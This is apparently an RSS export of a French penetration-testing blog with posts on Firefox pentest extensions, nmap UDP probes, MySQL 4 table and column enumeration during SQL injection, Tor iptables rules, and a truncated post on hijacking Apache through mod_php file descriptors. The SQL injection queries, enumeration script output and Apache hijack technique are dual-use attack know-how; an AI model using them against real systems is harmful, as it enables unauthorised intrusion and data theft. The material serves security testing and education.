<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pierre Noguès &#187; Pentest</title>
	<atom:link href="http://www.indahax.com/category/pentest/feed" rel="self" type="application/rss+xml" />
	<link>http://www.indahax.com</link>
	<description>Consultant en sécurité informatique</description>
	<lastBuildDate>Wed, 31 Mar 2010 12:35:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Extensions Firefox pour les pentests</title>
		<link>http://www.indahax.com/pentest/extension-firefox-pentest</link>
		<comments>http://www.indahax.com/pentest/extension-firefox-pentest#comments</comments>
		<pubDate>Wed, 31 Mar 2010 11:59:35 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[extension firefox]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=532</guid>
		<description><![CDATA[Allez hop aujourd&#8217;hui je vais vous présenter une petite liste d&#8217;extension Firefox que j&#8217;utilise couramment au cours de mes tests d&#8217;intrusion Web. J&#8217;utilise aussi pas mal d&#8217;autres outils à côté comme Burp Suite pro ou des petits scripts maison, mais ça, j&#8217;en parlerai une prochaine fois. J&#8217;utilise toutes ces extensions dans un profil utilisateur special [...]]]></description>
			<content:encoded><![CDATA[<p><img class=alignleft src="/images/firefox-black.jpg" alt="Extensions firefox pour les pentest" />Allez hop aujourd&#8217;hui je vais vous présenter une petite liste d&#8217;extension Firefox que j&#8217;utilise couramment au cours de mes tests d&#8217;intrusion Web.<br />
<span id="more-532"></span><br />
J&#8217;utilise aussi pas mal d&#8217;autres outils à côté comme Burp Suite pro ou des petits scripts maison, mais ça, j&#8217;en parlerai une prochaine fois. </p>
<p>J&#8217;utilise toutes ces extensions dans un profil utilisateur special dédié au pentest, il vaut mieux éviter d&#8217;utiliser 15 000 extensions simultanément dans Firefox pour des questions de stabilité/performance/ergonomie.</p>
<p>Cette liste représente quasiment l&#8217;intégralité des extensions que j&#8217;utilise pour les pentests, il y en a beaucoup moins que dans <a href="http://www.firecat.fr" >le catalogue FireCat</a>, mais ça me suffit largement pour faire tout ce que je veux <img src='http://www.indahax.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<ul>
<li><img alt="UrlParams" title="UrlParams" src="http://www.indahax.com/images/pentest-web-tools/urlparams.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/1290">UrlParams</a></strong></li>
<p>Probablement l&#8217;extension dont je me sers le plus souvent, elle permet de modifier rapidement les paramètres GET/POST et le referrer. Ça me permet d&#8217;éviter d&#8217;avoir à utiliser Burp pour des opérations assez simples comme modifier les données POST.</p>
<li><img alt="Hackbar" title="HackBar" src="http://www.indahax.com/images/pentest-web-tools/hackbar.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/3899">Hack Bar</a></strong></li>
<p>Très pratique pendant l&#8217;exploitation des injections SQL, surtout quand les quotes sont bloqués, l&#8217;extension vous permet de convertir une chaine de caractère en son équivalent CHAR( ASCII )&#8230; Elle contient aussi quelques fonctions d&#8217;encodage et de chiffrement bien pratique. Un must have.</p>
<li><img alt="Firebug" title="Firebug" src="http://www.indahax.com/images/pentest-web-tools/firebug.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/1843">Firebug</a></strong></li>
<p>Très utilise pour le développement Web et donc très pratique pour le développement des exploits XSS. Je m&#8217;en sers principalement pour faire joujou avec la console Javascript, analyser la structure DOM et voir les requêtes javascript XHR faites en arrière-plan.</p>
<li><img alt="Firecookie" title="Firecookie" src="http://www.indahax.com/images/pentest-web-tools/firecookie.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/6683">Firecookie</a></strong></li>
<p>Pour jouer avec les cookies.</p>
<li><img alt="Force Content-Type" title="Force Content-Type" src="http://www.indahax.com/images/pentest-web-tools/extension.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/3207">Force Content-Type</a></strong></li>
<p>Très pratique lorsque le navigateur Firefox gère spécifiquement certains types de fichier comme les pdfs ou les fichiers audios, cette extension permet d&#8217;afficher directement le fichier en brut dans le navigateur et de ne pas lancer l&#8217;application. Utile lorsque l&#8217;on trifouille des pages qui génèrent dynamiquement un certain type de fichier.</p>
<li><img alt="Web Developer" title="Web Developer" src="http://www.indahax.com/images/pentest-web-tools/webdev.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/60">Web Developer</a></strong></li>
<p>Encore une extension pour le développement web, elle est très utile pour effacer ses cookies, afficher les mots de passe en clair, désactiver le chargement des images, voir les commentaires&#8230; Il y a vraiment plein d&#8217;options très utiles&#8230;</p>
<li><img alt="Yes Script" title="Yes Script" src="http://www.indahax.com/images/pentest-web-tools/yesscript.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/4922">Yes Script</a></strong></li>
<p>Contrairement à NoScript qui fonctionne sur un système de whitelist (tous les scripts sont bloqués par défaut, il faut les autoriser un par un), YesScript fonctionne sur un système de blacklist. Utile lorsque l&#8217;on audite des sites avec des animations Flash et Javascript qui consomme 99% du CPU <img src='http://www.indahax.com/wp-includes/images/smilies/icon_neutral.gif' alt=':|' class='wp-smiley' /> &#8230;</p>
<li><img alt="Foxy Proxy" title="Foxy Proxy" src="http://www.indahax.com/images/pentest-web-tools/foxyproxy.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/2464">Foxy Proxy</a></strong></li>
<p>En plus de permettre de changer rapidement de proxy, FoxyProxy offre la possibilité de choisir un proxy dynamiquement en fonction de l&#8217;URL.</p>
<li><img alt="Torbutton" title="Torbutton" src="http://www.indahax.com/images/pentest-web-tools/torbutton.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/2275">Torbutton</a></strong></li>
<p>Indispensable lorsque l&#8217;on utilise Tor, bloque tous les tricks connus qui permettent de démasquer un utilisateur anonyme (historique, applet Java, Flash&#8230;). Bien sûr quand on utilise Tor,  il vaut mieux <a href="http://www.indahax.com/pentest/secure-tor" >être vraiment sûr que tout passe par Tor</a>.</p>
<li><img alt="Maltego Mesh" title="Maltego Mesh" src="http://www.indahax.com/images/pentest-web-tools/maltego-mesh.png" class="alignnone" width="32" height="32" /> <strong><a href="http://www.paterva.com/web4/index.php/client/mesh">Maltego Mesh</a></strong></li>
<p>À la base Maltego est un outil spécialisé dans la recherche d&#8217;informations. Cette extension permet de mettre en évidence certains types d&#8217;information affichés sur une page comme des adresses IPs, des emails, des numéros de téléphone, des noms de famille&#8230; Bien pratique, cependant, je laisse cette extension désactiver par défaut, elle est instable consomme énormément de CPU.</p>
<li><img alt="Modify Headers" title="Modify Headers" src="http://www.indahax.com/images/pentest-web-tools/extension.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/967">Modify Headers</a></strong></li>
<p>Comme son nom l&#8217;indique, elle permet de modifier les en-têtes HTTP. Je me sers rarement de cette extension, je préfère passer par Burp.</p>
<li><img alt="BugMeNot" title="BugMeNot" src="http://www.indahax.com/images/pentest-web-tools/bugmenot.png"  class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/6349">BugMeNot</a></strong></li>
<p>Cette extension n&#8217;est pas vraiment en rapport avec les pentests mais je l&#8217;aime bien <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . bugmenot.com recense des logins/passwords pour des milliers de sites. Elle vous permet de vous identifier en un click sur des sites demandant un compte utilisateur pour accéder à certaines sections&#8230; Gros gain de temps <img src='http://www.indahax.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<li><img alt="Autofill Forms" title="Autofill Forms" src="http://www.indahax.com/images/pentest-web-tools/autofill.png" class="alignnone" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/4775">Autofill Forms</a></strong></li>
<p>Permet de remplir un profil utilisateur avec des paramètres prédéfinis (adresse email , nom, age, ville&#8230;). Fait gagner du temps.
</ul>
<p>Et voilà, c&#8217;est fini, la prochaine je balancerai peut être une liste de bookmarks intéressants&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/extension-firefox-pentest/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Nmap, scan UDP applicatif</title>
		<link>http://www.indahax.com/pentest/nmap-udp-applicatif</link>
		<comments>http://www.indahax.com/pentest/nmap-udp-applicatif#comments</comments>
		<pubDate>Mon, 01 Feb 2010 08:01:15 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[scan de ports]]></category>
		<category><![CDATA[udp]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=510</guid>
		<description><![CDATA[Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter le scan de port applicatif sur le protocole UDP. Voici un extrait du changelog de la dernière version de nmap : o For some UDP ports, Nmap will now send a protocol-specific payload that is more likely to get [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://indahax.com/images/nmap-logo.png" alt="nmap" class=alignleft />Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter <strong>le scan de port applicatif sur le protocole UDP</strong>. Voici un extrait du changelog de la dernière version de nmap :<br />
<span id="more-510"></span></p>
<blockquote><p>
o For some UDP ports, Nmap will now send a protocol-specific payload<br />
  that is more likely to get a response than an empty packet is. This<br />
  improves the effectiveness of probes to those ports for host<br />
  discovery, and also makes an open port more likely to be classified<br />
  open rather than open|filtered. The ports and payloads are defined<br />
  in payload.cc. The ports that have a payload are 7 (echo),<br />
  53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),<br />
  177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),<br />
  2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]
</p></blockquote>
<p>Par scan applicatif j&#8217;entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu&#8217;il reçoit bien une réponse DNS afin de déterminer si le service est <strong>open</strong>. </p>
<p>Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.
&nbsp;
  Some of them are taken from nmap-service-probes.
*/</span>
&nbsp;
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_GenericLines<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x0D</span><span style="color: #660099; font-weight: bold;">\x0A</span><span style="color: #660099; font-weight: bold;">\x0D</span><span style="color: #660099; font-weight: bold;">\x0A</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_DNSStatusRequest<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_RPCCheck<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\xFE</span><span style="color: #660099; font-weight: bold;">\x1D</span><span style="color: #660099; font-weight: bold;">\x13</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x86</span><span style="color: #660099; font-weight: bold;">\xA0</span>&quot;</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x97</span><span style="color: #660099; font-weight: bold;">\x7C</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>C&#8217;est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur <strong>l&#8217;absence de réponse ICMP pour déterminer si un port UDP est open</strong> (du moins pour les ports cités dans le changelog).</p>
<p>Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7
&nbsp;
Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind
&nbsp;
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/nmap-udp-applicatif/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enumération des tables sous Mysql 4</title>
		<link>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4</link>
		<comments>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4#comments</comments>
		<pubDate>Wed, 30 Dec 2009 18:32:33 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[colonne]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[injection sql]]></category>
		<category><![CDATA[mysql 4]]></category>
		<category><![CDATA[table]]></category>
		<category><![CDATA[wordlist]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=493</guid>
		<description><![CDATA[Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une injection SQL avec une base de données Mysql 4. Ha oui, c&#8217;est tout de suite plus difficile sans information_schema ! Le premier tips c&#8217;est en utilisant la fonction PROCEDURE ANALYSE(). [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Mysql Image" src="http://www.indahax.com/images/mysql-logo.png" title="Injection SQL" class="alignleft" width="200" height="103" /> Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une <strong>injection SQL</strong> avec une base de données <strong>Mysql 4</strong>. Ha oui, c&#8217;est tout de suite plus difficile sans <strong>information_schema</strong> !<br/><br />
<span id="more-493"></span><br />
Le premier tips c&#8217;est en utilisant la fonction <a href="http://dev.mysql.com/doc/refman/5.0/fr/procedure-analyse.html">PROCEDURE ANALYSE()</a>. Look :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();
&nbsp;
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    | 
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL | 
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  | 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)</pre></div></div>

<p>Youpi, la requête nous liste les noms des colonnes, la table et la base de données <strong>concernées par la requête</strong> ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : <code>Field_name | Min_value | Max_value | ...</code> au lieu de <code>idClient | name | pass</code>. Concrètement, cela veut dire qu&#8217;on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table (<em> $row[0] et pas $row["idClient"]</em> ), ce qui est plutôt rare&#8230;</p>
<p>Un autre truc (<strong>corrigé sur Mysql 5.1</strong>) que j&#8217;ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l&#8217;on a découvert le nom de la table on peut tester un truc dans le genre :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);
&nbsp;
ERROR 1241 (21000): Operand should contain 3 column(s)</pre></div></div>

<p>Youpi car ça nous retourne le nombre de colonnes, mais c&#8217;est maintenant que ça devient intéressant, toujours à l&#8217;aide des messages d&#8217;erreurs on va pouvoir lister le nom de chacune d&#8217;entre elles :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);
&nbsp;
&quot;Column 'idClient' cannot be null&quot;</pre></div></div>

<p>Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l&#8217;attribut <strong>NOT NULL</strong> <img src='http://www.indahax.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Bon allez, j&#8217;arrête de donner des petits trucs foireux, passons aux choses sérieuses avec <a href="http://indahax.com/downloads/mysql4-enumeration.pl">ce script</a> maison en PERL qui cherche les noms des tables à partir d&#8217;une wordlist :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
&nbsp;
[*] Table found : client
&nbsp;
pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
&nbsp;
[*] Column found : name
[*] Column found : pass</pre></div></div>

<p>Je me suis pas pris la tete pour dev le script, il faut bidouiller le code pour personnaliser l&#8217;attaque en fonction l&#8217;injection&#8230; J&#8217;espère que vous comprendrez, sinon tant pis <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).</p>
<p>Passez de joyeuses fêtes !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sécuriser Tor avec iptables</title>
		<link>http://www.indahax.com/pentest/secure-tor</link>
		<comments>http://www.indahax.com/pentest/secure-tor#comments</comments>
		<pubDate>Fri, 18 Dec 2009 12:28:57 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=474</guid>
		<description><![CDATA[Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le proxy Tor. Vous connaissez surement l&#8217;indispensable extension torbutton qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je vous recommande d&#8217;ailleurs d&#8217;utiliser dans un profile Firefox différent avec le minimum vital niveau extension. [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/tor.png" class="alignleft" /><br />
Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le <strong>proxy Tor</strong>.<br />
<span id="more-474"></span><br />
Vous connaissez surement l&#8217;indispensable extension <a href="https://addons.mozilla.org/fr/firefox/addon/2275">torbutton</a> qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je vous recommande d&#8217;ailleurs d&#8217;utiliser dans un profile Firefox différent avec le minimum vital niveau extension. </p>
<p>Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s&#8217;assurer qu&#8217;elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c&#8217;est à dire en <strong>autorisant uniquement les connexions du processus tor via un firewall</strong>. Voici comment faire avec iptables.</p>
<p>Tout d&#8217;abord, il est nécessaire de créer un utilisateur pour tor et d&#8217;exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l&#8217;utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration <strong>torrc</strong> :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">User tor</pre></div></div>

<p>Ensuite il nous reste à configurer iptables :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Vide les règles déjà présentes</span>
iptables <span style="color: #660033;">-F</span> INPUT
iptables <span style="color: #660033;">-F</span> OUTPUT
&nbsp;
<span style="color: #666666; font-style: italic;"># Bloque tout par défaut</span>
iptables <span style="color: #660033;">-P</span> INPUT DROP
iptables <span style="color: #660033;">-P</span> OUTPUT DROP
&nbsp;
<span style="color: #666666; font-style: italic;"># Autorise toutes les connexions locales</span>
iptables <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-o</span> lo <span style="color: #660033;">-j</span> ACCEPT
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> lo <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Autorise uniquement les processus de l'utilisateur tor à établir des connexions</span>
iptables <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-m</span> owner <span style="color: #660033;">--uid-owner</span> tor <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Accepte uniquement les connexions que l'on a initiées</span>
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> ESTABLISHED,RELATED <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Sauvegarde le tout </span>
iptables-save <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>iptables<span style="color: #000000; font-weight: bold;">/</span>tor</pre></div></div>

<p>Et voilà, lors de l&#8217;utilisation de Tor on pourra mettre en place ces règles iptables afin d&#8217;être sur de communiquer uniquement via ce réseau.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">iptables-restore <span style="color: #000000; font-weight: bold;">&lt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>iptables<span style="color: #000000; font-weight: bold;">/</span>tor</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/secure-tor/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Détourner Apache via PHP</title>
		<link>http://www.indahax.com/pentest/apache-php-file-descriptor</link>
		<comments>http://www.indahax.com/pentest/apache-php-file-descriptor#comments</comments>
		<pubDate>Mon, 07 Dec 2009 15:51:49 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Apache hijacking]]></category>
		<category><![CDATA[descripteurs de fichier]]></category>
		<category><![CDATA[file descriptor]]></category>
		<category><![CDATA[mod_php]]></category>
		<category><![CDATA[Pentest Apache]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=454</guid>
		<description><![CDATA[Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec les droits apache, même si les logs sont en chmod 600 root. Pire, il est possible à partir d&#8217;un simple script php d&#8217;écouter sur le port 80 et de [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.indahax.com/wp-content/uploads/2009/12/apache.gif" alt="apache mod_php file descriptor leak" title="apache" width="165" height="124" class="alignleft" />Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec <strong>les droits apache</strong>, même si les logs sont en <strong>chmod 600 root</strong>. Pire, il est possible à partir d&#8217;un simple script php <strong>d&#8217;écouter sur le port 80 et de détourner toutes les requêtes</strong> faites vers le serveur web&#8230; Le comble c&#8217;est que cette faille est connue depuis que le mod_php existe sur Apache !<span id="more-454"></span></p>
<p>Le <strong>mod_php</strong> ne ferme pas les descripteurs de fichiers dont il a hérité avant d&#8217;exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l&#8217;on exécute le code suivant :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
    <span style="color: #b1b100;">print</span> <span style="color: #990000;">posix_getpid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">30</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Et que l&#8217;on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -&gt; /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -&gt; /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -&gt; anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -&gt; socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -&gt; /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -&gt; socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -&gt; socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -&gt; /var/log/apache2/error.log
